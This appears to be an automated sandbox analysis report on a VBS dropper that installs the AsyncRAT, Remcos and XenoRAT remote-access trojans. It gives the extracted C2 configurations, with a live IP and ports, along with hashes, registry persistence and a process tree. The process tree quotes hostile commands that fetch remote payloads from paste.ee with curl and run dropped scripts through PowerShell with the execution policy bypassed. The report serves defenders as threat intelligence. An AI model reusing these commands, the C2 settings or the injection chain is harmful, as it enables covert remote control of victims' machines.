asyncrat | d7583824a4f031041c55bedbe81b7b93ba6c1c1c8e1fa348a97eca15a798631b

General

Target

lmg_Lana_Rhoades_3535354.vbs
Size

450KB
MD5

a6ed8295bd4ad2fe95bb1692e3efe986
SHA1

64a5f9d2fa80f090d899f17558a656ef9be68860
SHA256

0e695b395928958ef79db16b09824e321d35b4079873e24b12bb1c21858de278
SHA512

db81232da6e1368cc7dc03af83e7763ed3ef46472624dc50e64c7bac9d647be8e742ca676d6231d2de2c104b0cf0490539d3ac79cd9813840dc5a233499ea695
SSDEEP

3072:7no6BYF/qCe4VTdRlTT8w4TWPzqtIgJdpe+og0S7wQzS18f8d6bb/g52D:jo6BYFvzq3

Score

10^/10

asyncrat remcos xenorat matidown2 xxx1 execution persistence rat trojan

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

MATIDOWN2

C2

141.95.84.40:6465

Mutex

wcawcaw

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

xxx1

C2

141.95.84.40:6468

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
asasas-3248IW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

xenorat

C2

141.95.84.40

Mutex

asasaa33d3a143vaavwwv

Attributes

delay
5000
install_path
nothingset
port
6676
startup_name
nothingset

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 4 IoCs

Processes:

regsvr32.exewscript.exeregsvr32.exeregsvr32.exe

pid process

4300 regsvr32.exe
3872 wscript.exe
1220 regsvr32.exe
4088 regsvr32.exe

pid	process
4300	regsvr32.exe
3872	wscript.exe
1220	regsvr32.exe
4088	regsvr32.exe

Registers COM server for autorun 1 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Processes:

regsvr32.exeregsvr32.exeregsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4552 powershell.exe
4068 powershell.exe

pid	process
4552	powershell.exe
4068	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 3872 set thread context of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 set thread context of 3076	3872	wscript.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

4116 1404 WerFault.exe winhlp32.exe
1284 1928 WerFault.exe winhlp32.exe
1968 2220 WerFault.exe RegAsm.exe

pid	pid_target	process	target process
4116	1404	WerFault.exe	winhlp32.exe
1284	1928	WerFault.exe	winhlp32.exe
1968	2220	WerFault.exe	RegAsm.exe

Modifies registry class 16 IoCs

Processes:

regsvr32.exeregsvr32.exeregsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

WScript.exewscript.exe

description	pid	process	target process
PID 1976 wrote to memory of 1508	1976	WScript.exe	curl.exe
PID 1976 wrote to memory of 1508	1976	WScript.exe	curl.exe
PID 1976 wrote to memory of 3872	1976	WScript.exe	wscript.exe
PID 1976 wrote to memory of 3872	1976	WScript.exe	wscript.exe
PID 1976 wrote to memory of 3872	1976	WScript.exe	wscript.exe
PID 3872 wrote to memory of 2988	3872	wscript.exe	curl.exe
PID 3872 wrote to memory of 2988	3872	wscript.exe	curl.exe
PID 3872 wrote to memory of 2988	3872	wscript.exe	curl.exe
PID 3872 wrote to memory of 4300	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 4300	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 4300	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4420	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 1220	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 1220	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 1220	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 3076	3872	wscript.exe	RegAsm.exe
PID 3872 wrote to memory of 4088	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 4088	3872	wscript.exe	regsvr32.exe
PID 3872 wrote to memory of 4088	3872	wscript.exe	regsvr32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lmg_Lana_Rhoades_3535354.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\System32\curl.exe
curl -s https://paste.ee/r/uazpL
2⤵
PID:1508

C:\Windows\SysWOW64\wscript.exe
"C:\Windows\SysWOW64\wscript.exe" //b //e:vbscript "C:\Users\Admin\AppData\Local\Temp\lmg_Lana_Rhoades_3535354.vbs"
2⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3872

C:\Windows\SysWOW64\curl.exe
curl -s https://paste.ee/r/uazpL
3⤵
PID:2988

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
PID:4300

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4420

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"' & exit
4⤵
PID:4556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"'
5⤵
- Command and Scripting Interpreter: PowerShell
PID:4552

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"
6⤵
PID:1396

C:\Windows\SysWOW64\curl.exe
curl -s https://paste.ee/r/kIEYz
7⤵
PID:3564

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:4520

C:\Windows\winhlp32.exe
"C:\Windows\winhlp32.exe"
7⤵
PID:3968

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:2700

C:\Windows\winhlp32.exe
"C:\Windows\winhlp32.exe"
7⤵
PID:4048

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:3268

C:\Windows\winhlp32.exe
"C:\Windows\winhlp32.exe"
7⤵
PID:1404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1404 -s 80
8⤵
- Program crash
PID:4116

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:552

C:\Windows\winhlp32.exe
"C:\Windows\winhlp32.exe"
7⤵
PID:1928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 80
8⤵
- Program crash
PID:1284

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\h.vbs"' & exit
4⤵
PID:2924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\h.vbs"'
5⤵
- Command and Scripting Interpreter: PowerShell
PID:4068

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\h.vbs"
6⤵
PID:2908

C:\Windows\SysWOW64\curl.exe
curl -s https://paste.ee/r/6Y0DE
7⤵
PID:1052

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:5116

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:4384

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:1188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:1108

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:5112

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:1508

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
7⤵
PID:4380

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:2220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 80
8⤵
- Program crash
PID:1968

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
PID:1220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3076

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
PID:4088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1404 -ip 1404
1⤵
PID:2612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1928 -ip 1928
1⤵
PID:2524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2220 -ip 2220
1⤵
PID:1724

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log
Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
15KB

MD5
47f4f02805b08bf328747205999dc803

SHA1
e0a364ede3d1ae35895ded7105cbb27249de5c0b

SHA256
9b573d1263c5b80052dca45ddcbcbabbca91b326b632ecf1b462e2d243111bba

SHA512
8cca4526317501e717e1430093270d6576dba31ce4e1fbedf5630b32d27410833d035a441999eba84736e8310a7faf2d3c0af9d299b8c99b1b6c6d9ee1935802

Download Submit
C:\Users\Admin\AppData\Local\Temp\RC0S.vbs
Filesize
451KB

MD5
1f1b5ec1770db718a316090a8b98db7f

SHA1
ad60d1d1871fe7ef7049741d78915f4f8f28962a

SHA256
e6659f8c95c9b063bb58c753e9a8a30c487033b74ca419d59c4b1f29a0725942

SHA512
05e2d6aa6705759a5beae8e3152e630f5e48e2bf93b650837c0b6b2ed1fa1cf1b52c27ed9feaa9331b0f76e246c2f9c9e8d3c68bb72e9be7e4cbea848d39bfef

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vfhkr43o.2ja.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll
Filesize
13KB

MD5
e0b8dfd17b8e7de760b273d18e58b142

SHA1
801509fb6783c9e57edc67a72dde3c62080ffbaf

SHA256
4ef3a6703abc6b2b8e2cac3031c1e5b86fe8b377fde92737349ee52bd2604379

SHA512
443359da27b3c87e81ae4f4b9a2ab7e7bf6abfa93551fc62347a0b79b36d79635131abc14d4deddab3ace12fdf973496518f67e1be8dc4903b35fd465835556b

Download Submit
C:\Users\Admin\AppData\Local\Temp\h.vbs
Filesize
451KB

MD5
34d44a86cf9ddf4e53e6a0aa64a4a975

SHA1
d8b0af518dd50d4ebb44d85d640378bd9402c4d6

SHA256
4d078c0882e7b5be255180c58a3893d52ab8cb75fe366c934f2bb779a4f9090a

SHA512
fdfe7aad3688a3e7fa014e40ada5787370bb2e588a6b1af5fe07877e0b45ddb9d0d418310522c26d3bc5450e06f9c0b794fa2d3f7a1bd4302af250af749ca255

Download Submit
memory/3968-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3968-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4048-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4068-69-0x0000000006120000-0x0000000006474000-memory.dmp

Filesize
3.3MB

Download
memory/4068-71-0x00000000066F0000-0x000000000673C000-memory.dmp

Filesize
304KB

Download
memory/4384-78-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4420-16-0x0000000006E20000-0x0000000006E3E000-memory.dmp

Filesize
120KB

Download
memory/4420-15-0x0000000005EE0000-0x0000000005EEC000-memory.dmp

Filesize
48KB

Download
memory/4420-4-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4420-10-0x0000000005DE0000-0x0000000005E7C000-memory.dmp

Filesize
624KB

Download
memory/4420-11-0x0000000006430000-0x00000000069D4000-memory.dmp

Filesize
5.6MB

Download
memory/4420-12-0x0000000005EF0000-0x0000000005F56000-memory.dmp

Filesize
408KB

Download
memory/4420-14-0x0000000006E60000-0x0000000006ED6000-memory.dmp

Filesize
472KB

Download
memory/4552-32-0x0000000006180000-0x000000000619E000-memory.dmp

Filesize
120KB

Download
memory/4552-25-0x0000000005A00000-0x0000000005A22000-memory.dmp

Filesize
136KB

Download
memory/4552-19-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download
memory/4552-18-0x0000000004BF0000-0x0000000004C26000-memory.dmp

Filesize
216KB

Download
memory/4552-26-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Filesize
408KB

Download
memory/4552-31-0x0000000005DD0000-0x0000000006124000-memory.dmp

Filesize
3.3MB

Download
memory/4552-35-0x0000000006670000-0x000000000668A000-memory.dmp

Filesize
104KB

Download
memory/4552-33-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download
memory/4552-34-0x0000000007140000-0x00000000071D6000-memory.dmp

Filesize
600KB

Download
memory/4552-36-0x00000000066C0000-0x00000000066E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads